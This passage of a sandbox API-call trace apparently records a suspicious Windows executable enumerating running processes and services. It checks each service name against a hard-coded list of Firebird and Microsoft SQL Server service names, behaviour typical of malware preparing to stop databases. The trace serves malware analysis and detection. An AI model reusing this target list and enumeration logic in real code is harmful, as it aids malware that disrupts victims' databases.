pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0203.332] lstrlenW (lpString="smss.exe") returned 8 [0203.332] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.332] lstrlenW (lpString="csrss.exe") returned 9 [0203.332] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0203.333] lstrlenW (lpString="wininit.exe") returned 11 [0203.333] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.333] lstrlenW (lpString="csrss.exe") returned 9 [0203.333] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0203.334] lstrlenW (lpString="winlogon.exe") returned 12 [0203.334] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0203.334] lstrlenW (lpString="services.exe") returned 12 [0203.334] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0203.334] lstrlenW (lpString="lsass.exe") returned 9 [0203.334] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0203.335] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0203.335] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0203.335] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0203.335] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.336] lstrlenW (lpString="svchost.exe") returned 11 [0203.336] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.336] lstrlenW (lpString="svchost.exe") returned 11 [0203.336] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0203.337] lstrlenW (lpString="dwm.exe") returned 7 [0203.337] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.337] lstrlenW (lpString="svchost.exe") returned 11 [0203.337] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.338] lstrlenW (lpString="svchost.exe") returned 11 [0203.338] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.338] lstrlenW (lpString="svchost.exe") returned 11 [0203.338] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.338] lstrlenW (lpString="svchost.exe") returned 11 [0203.338] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.339] lstrlenW (lpString="svchost.exe") returned 11 [0203.339] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.339] lstrlenW (lpString="svchost.exe") returned 11 [0203.339] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.340] lstrlenW (lpString="svchost.exe") returned 11 [0203.340] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.340] lstrlenW (lpString="svchost.exe") returned 11 [0203.340] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.341] lstrlenW (lpString="svchost.exe") returned 11 [0203.341] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.341] lstrlenW (lpString="svchost.exe") returned 11 [0203.341] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0203.341] lstrlenW (lpString="spoolsv.exe") returned 11 [0203.342] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.342] lstrlenW (lpString="svchost.exe") returned 11 [0203.342] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0203.342] lstrlenW (lpString="audiodg.exe") returned 11 [0203.342] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0203.343] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0203.343] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0203.343] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0203.343] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0203.344] lstrlenW (lpString="Memory Compression") returned 18 [0203.344] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0203.344] lstrlenW (lpString="sihost.exe") returned 10 [0203.344] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.345] lstrlenW (lpString="svchost.exe") returned 11 [0203.345] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0203.345] lstrlenW (lpString="taskhostw.exe") returned 13 [0203.345] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0203.345] lstrlenW (lpString="msoia.exe") returned 9 [0203.346] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0203.346] lstrlenW (lpString="explorer.exe") returned 12 [0203.346] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0203.347] lstrlenW (lpString="SearchUI.exe") returned 12 [0203.347] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0203.347] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0203.347] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0203.347] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0203.348] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0203.348] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0203.348] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0203.348] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0203.348] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0203.349] lstrlenW (lpString="conhost.exe") returned 11 [0203.349] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0203.349] lstrlenW (lpString="consent.exe") returned 11 [0203.349] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0203.350] lstrlenW (lpString="dllhost.exe") returned 11 [0203.350] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0203.350] CloseHandle (hObject=0x4d4) returned 1 [0203.350] Sleep (dwMilliseconds=0x1f4) [0204.041] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b008 [0204.042] EnumServicesStatusExW (in: hSCManager=0x447b008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0204.042] GetLastError () returned 0xea [0204.042] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x456b180 [0204.043] EnumServicesStatusExW (in: hSCManager=0x447b008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0204.044] CloseServiceHandle (hSCObject=0x447b008) returned 1 [0204.044] lstrlenW (lpString="Appinfo") returned 7 [0204.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0204.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0204.044] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0204.044] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0204.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0204.044] lstrlenW (lpString="AppXSvc") returned 7 [0204.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0204.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0204.044] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0204.044] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0204.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0204.044] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0204.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0204.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0204.044] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0204.044] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0204.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0204.044] lstrlenW (lpString="Audiosrv") returned 8 [0204.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0204.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0204.044] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0204.044] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0204.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0204.044] lstrlenW (lpString="BFE") returned 3 [0204.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0204.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0204.045] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0204.045] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0204.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0204.045] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0204.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0204.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0204.045] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0204.045] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0204.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0204.045] lstrlenW (lpString="CDPSvc") returned 6 [0204.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0204.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0204.045] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0204.045] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0204.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0204.045] lstrlenW (lpString="ClickToRunSvc") returned 13 [0204.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0204.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0204.045] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0204.045] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0204.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0204.045] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0204.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0204.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0204.045] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0204.045] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0204.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0204.045] lstrlenW (lpString="CryptSvc") returned 8 [0204.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0204.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0204.045] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0204.045] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0204.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0204.046] lstrlenW (lpString="DcomLaunch") returned 10 [0204.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0204.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0204.046] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0204.046] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0204.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0204.046] lstrlenW (lpString="DeviceAssociationService") returned 24 [0204.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0204.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0204.046] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0204.046] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0204.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0204.046] lstrlenW (lpString="Dhcp") returned 4 [0204.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0204.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0204.046] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0204.046] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0204.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0204.046] lstrlenW (lpString="Dnscache") returned 8 [0204.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0204.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0204.046] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0204.046] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0204.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0204.046] lstrlenW (lpString="DPS") returned 3 [0204.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0204.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0204.046] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0204.046] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0204.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0204.046] lstrlenW (lpString="DusmSvc") returned 7 [0204.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0204.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0204.047] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0204.047] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0204.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0204.047] lstrlenW (lpString="EventLog") returned 8 [0204.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0204.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0204.047] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0204.047] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0204.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0204.047] lstrlenW (lpString="EventSystem") returned 11 [0204.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0204.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0204.047] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0204.047] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0204.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0204.047] lstrlenW (lpString="FontCache") returned 9 [0204.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0204.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0204.047] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0204.047] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0204.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0204.047] lstrlenW (lpString="gpsvc") returned 5 [0204.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0204.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0204.047] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0204.047] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0204.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0204.047] lstrlenW (lpString="iphlpsvc") returned 8 [0204.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0204.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0204.047] lstrcmpiW (lpString1="sqlwriter", 